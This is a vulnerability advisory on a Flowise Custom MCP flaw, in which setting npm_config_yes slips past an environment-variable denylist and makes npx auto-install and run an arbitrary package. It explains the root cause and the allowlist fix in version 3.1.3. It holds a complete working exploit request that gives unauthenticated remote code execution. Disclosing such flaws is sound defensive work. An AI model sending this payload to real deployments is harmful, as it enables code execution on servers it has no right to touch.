CVE-2026-69263: Flowise MCP Environment Variable Blocklist Bypass (Unauthenticated RCE)
A patch meant to stop Flowise from auto-installing arbitrary npm packages can be bypassed by setting npm_config_yes in the MCP server environment, letting an unauthenticated attacker run arbitrary…

The problem
Flowise's Custom MCP feature validates user-supplied environment variables against a hardcoded four-item denylist: PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, and NODE_OPTIONS. Any variable not on that list passes through to the child process with no further checks.
npm reads its own configuration from npm_config_* environment variables. Setting npm_config_yes=true is functionally identical to passing --yes on the npx command line, which the flag-level check does block. The environment check is blind to this and allows it through.
On a default Flowise deployment, which ships with no authentication, any network-reachable client can trigger this.
Proof of concept
A working proof-of-concept for CVE-2026-69263 in flowise, with the exact payload below.
POST /api/v1/prediction/{chatflow_id} HTTP/1.1
Host: target:3000
Content-Type: application/json
{
"question": "hi",
"overrideConfig": {
"mcpServerConfig": {
"mcpServers": {
"bypass": {
"command": "npx",
"args": ["malicious-package"],
"env": {
"npm_config_yes": "true"
}
}
}
}
}
}validateCommandFlags correctly blocks -y and --yes in the args array. validateEnvironmentVariables only checks the exact string keys PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, and NODE_OPTIONS, so npm_config_yes passes validation and is forwarded to the child process. npm reads npm_config_yes as the yes configuration option, causing npx to auto-install and execute the named package without prompting.
This is CWE-184: the denylist cannot enumerate every variable that influences child-process behavior. The patch in 3.1.3 (PR #6471) removes the denylist entirely and replaces it with an operator-controlled allowlist via CUSTOM_MCP_ALLOWED_ENV_VARS, so only explicitly permitted variables are forwarded.
The fix
Upgrade to Flowise 3.1.3. The fix (commit a4c4e4988, PR #6471) replaces the hardcoded denylist with an operator-controlled allowlist controlled by the CUSTOM_MCP_ALLOWED_ENV_VARS environment variable. No env vars outside that allowlist are forwarded to the child process.
If you cannot upgrade immediately, set CUSTOM_MCP_SECURITY_CHECK=true and do not expose the Flowise API without authentication.
Related research
- criticalCVE-2026-70470CVE-2026-70470: Flowise Pyodide Validator Unicode Homoglyph Bypass RCE
- highCVE-2026-70473CVE-2026-70473: Flowise Server-Wide Upsert History Information Disclosure
- highCVE-2026-70472CVE-2026-70472: Flowise Cross-Workspace Credential IDOR in OpenAI Assistants Vector Store
- highCVE-2026-70471CVE-2026-70471: Flowise RBAC Bypass Leading to Workspace Variables Disclosure